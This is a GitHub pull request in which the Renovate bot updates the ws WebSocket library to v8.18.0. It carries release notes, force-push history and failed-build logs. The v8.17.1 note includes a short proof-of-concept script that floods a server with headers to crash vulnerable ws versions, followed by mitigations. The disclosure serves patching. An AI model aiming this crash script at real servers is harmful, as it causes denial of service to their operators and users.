Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update dependency ws to v8.18.0 #385

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open

Update dependency ws to v8.18.0 #385

wants to merge 1 commit into from

Conversation

renovate[bot]
Copy link

@renovate renovate bot commented Jul 28, 2021

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
ws 8.13.0 -> 8.18.0 age adoption passing confidence
@types/ws (source) 8.5.4 -> 8.5.13 age adoption passing confidence

Release Notes

websockets/ws (ws)

v8.18.0

Compare Source

Features

v8.17.1

Compare Source

Bug fixes

A request with a number of headers exceeding the[server.maxHeadersCount][server.maxHeadersCount]
threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the
    [--max-http-header-size=size][--max-http-header-size=size] and/or the [maxHeaderSize][maxHeaderSize] options so
    that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

v8.17.0

Compare Source

Features

  • The WebSocket constructor now accepts the createConnection option (#​2219).

Other notable changes

  • The default value of the allowSynchronousEvents option has been changed to
    true (#​2221).

This is a breaking change in a patch release. The assumption is that the option
is not widely used.

v8.16.0

Compare Source

Features

  • Added the autoPong option (01ba54e).

v8.15.1

Compare Source

Notable changes

  • The allowMultipleEventsPerMicrotask option has been renamed to
    allowSynchronousEvents (4ed7fe5).

This is a breaking change in a patch release that could have been avoided with
an alias, but the renamed option was added only 3 days ago, so hopefully it
hasn't already been widely used.

v8.15.0

Compare Source

Features

  • Added the allowMultipleEventsPerMicrotask option (93e3552).

v8.14.2

Compare Source

Bug fixes

  • Fixed an issue that allowed errors thrown by failed assertions to be
    swallowed when running tests (7f4e1a7).

v8.14.1

Compare Source

Bug fixes
  • Improved the reliability of two tests for CITGM (fd3c64c).

v8.14.0

Compare Source

Features

  • The WebSocket constructor now accepts HTTP(S) URLs (#​2162).
  • The socket argument of server.handleUpgrade() can now be a generic
    Duplex stream (#​2165).

Other notable changes

  • At most one event per microtask is now emitted (#​2160).

Configuration

📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot force-pushed the renovate/ws-8.x branch 2 times, most recently from ff47fdd to 2902d74 Compare August 18, 2021 07:50
@renovate renovate bot force-pushed the renovate/ws-8.x branch from 2902d74 to 0bf7eb9 Compare August 28, 2021 18:14
@renovate renovate bot force-pushed the renovate/ws-8.x branch from 0bf7eb9 to bc65a4e Compare September 8, 2021 20:33
@renovate renovate bot force-pushed the renovate/ws-8.x branch from bc65a4e to 48605c5 Compare October 19, 2021 02:42
@renovate renovate bot force-pushed the renovate/ws-8.x branch from 48605c5 to 43c8fd9 Compare March 7, 2022 10:00
@renovate renovate bot force-pushed the renovate/ws-8.x branch from 43c8fd9 to f552880 Compare March 26, 2022 14:26
@renovate renovate bot force-pushed the renovate/ws-8.x branch from f552880 to 41953ae Compare May 15, 2022 19:50
@renovate renovate bot force-pushed the renovate/ws-8.x branch from 41953ae to 1b0f2a1 Compare June 18, 2022 18:09
@renovate renovate bot force-pushed the renovate/ws-8.x branch from 154792b to af3772e Compare November 20, 2022 19:35
@renovate renovate bot force-pushed the renovate/ws-8.x branch from af3772e to b50c23a Compare March 16, 2023 19:51
@renovate renovate bot force-pushed the renovate/ws-8.x branch from b50c23a to 65e6a97 Compare June 8, 2023 21:24
@renovate renovate bot force-pushed the renovate/ws-8.x branch 2 times, most recently from d10fa55 to 1fb1588 Compare September 8, 2023 16:15
@renovate renovate bot force-pushed the renovate/ws-8.x branch 2 times, most recently from 417f254 to 5648f5d Compare September 25, 2023 19:15
@renovate renovate bot force-pushed the renovate/ws-8.x branch from 5648f5d to 20ce1df Compare October 10, 2023 22:01
@renovate renovate bot force-pushed the renovate/ws-8.x branch from 20ce1df to 9bd0b49 Compare October 18, 2023 19:24
@renovate renovate bot force-pushed the renovate/ws-8.x branch from 9bd0b49 to ef8bf79 Compare November 7, 2023 21:12
@renovate renovate bot force-pushed the renovate/ws-8.x branch from ef8bf79 to 2d33931 Compare November 21, 2023 01:53
@renovate renovate bot force-pushed the renovate/ws-8.x branch 2 times, most recently from 1cb5707 to d99eb2a Compare December 12, 2023 22:01
@renovate renovate bot force-pushed the renovate/ws-8.x branch from d99eb2a to f79718f Compare December 26, 2023 17:01
@renovate renovate bot force-pushed the renovate/ws-8.x branch from f79718f to 46dda4f Compare March 6, 2024 06:12
@renovate renovate bot changed the title Update dependency ws to v8 Update dependency ws to v8.16.0 Mar 6, 2024
@renovate renovate bot force-pushed the renovate/ws-8.x branch from 46dda4f to a9ae380 Compare April 28, 2024 08:11
@renovate renovate bot changed the title Update dependency ws to v8.16.0 Update dependency ws to v8.17.0 Apr 28, 2024
Copy link
Author

renovate bot commented Apr 28, 2024

⚠ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: yarn.lock
[08:11:22.632] INFO (81): Installing tool node@8.16.0...
[08:11:29.414] WARN (81): Npm error:
npm ERR! weird error 1
[08:11:29.414] FATAL (81): node-gyp update command failed
    err: {
      "type": "Error",
      "message": "node-gyp update command failed",
      "stack":
          Error: node-gyp update command failed
              at InstallNodeService.updateNodeGyp (/snapshot/dist/containerbase-cli.js:53540:13)
              at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
              at async InstallNodeService.install (/snapshot/dist/containerbase-cli.js:53797:7)
              at async InstallToolService.execute (/snapshot/dist/containerbase-cli.js:54326:11)
              at async InstallToolShortCommand.execute (/snapshot/dist/containerbase-cli.js:54543:14)
              at async InstallToolShortCommand.validateAndExecute (/snapshot/dist/containerbase-cli.js:2430:26)
              at async _Cli.run (/snapshot/dist/containerbase-cli.js:3543:22)
              at async _Cli.runExit (/snapshot/dist/containerbase-cli.js:3551:28)
              at async main (/snapshot/dist/containerbase-cli.js:54737:3)
    }
[08:11:29.727] INFO (81): Installed tool node with errors in 7s.

@renovate renovate bot force-pushed the renovate/ws-8.x branch from a9ae380 to a43bff4 Compare June 16, 2024 15:19
@renovate renovate bot changed the title Update dependency ws to v8.17.0 Update dependency ws to v8.17.1 Jun 16, 2024
Copy link
Author

renovate bot commented Jun 16, 2024

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: yarn.lock
[10:38:06.886] INFO (87): Installing tool node@8.16.0...
[10:38:12.505] WARN (87): Npm error:
npm ERR! weird error 1
[10:38:13.109] ERROR (87): node-gyp update command failed
[10:38:13.109] FATAL (87): Install tool node failed in 6.2s.

@renovate renovate bot force-pushed the renovate/ws-8.x branch from a43bff4 to 84dd998 Compare July 3, 2024 19:36
@renovate renovate bot changed the title Update dependency ws to v8.17.1 Update dependency ws to v8.18.0 Jul 3, 2024
@renovate renovate bot force-pushed the renovate/ws-8.x branch from 84dd998 to 8c71bd1 Compare July 13, 2024 03:33
@renovate renovate bot force-pushed the renovate/ws-8.x branch from 8c71bd1 to bc4159c Compare July 29, 2024 09:03
@renovate renovate bot force-pushed the renovate/ws-8.x branch from bc4159c to 7864b2c Compare November 2, 2024 10:38
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

0 participants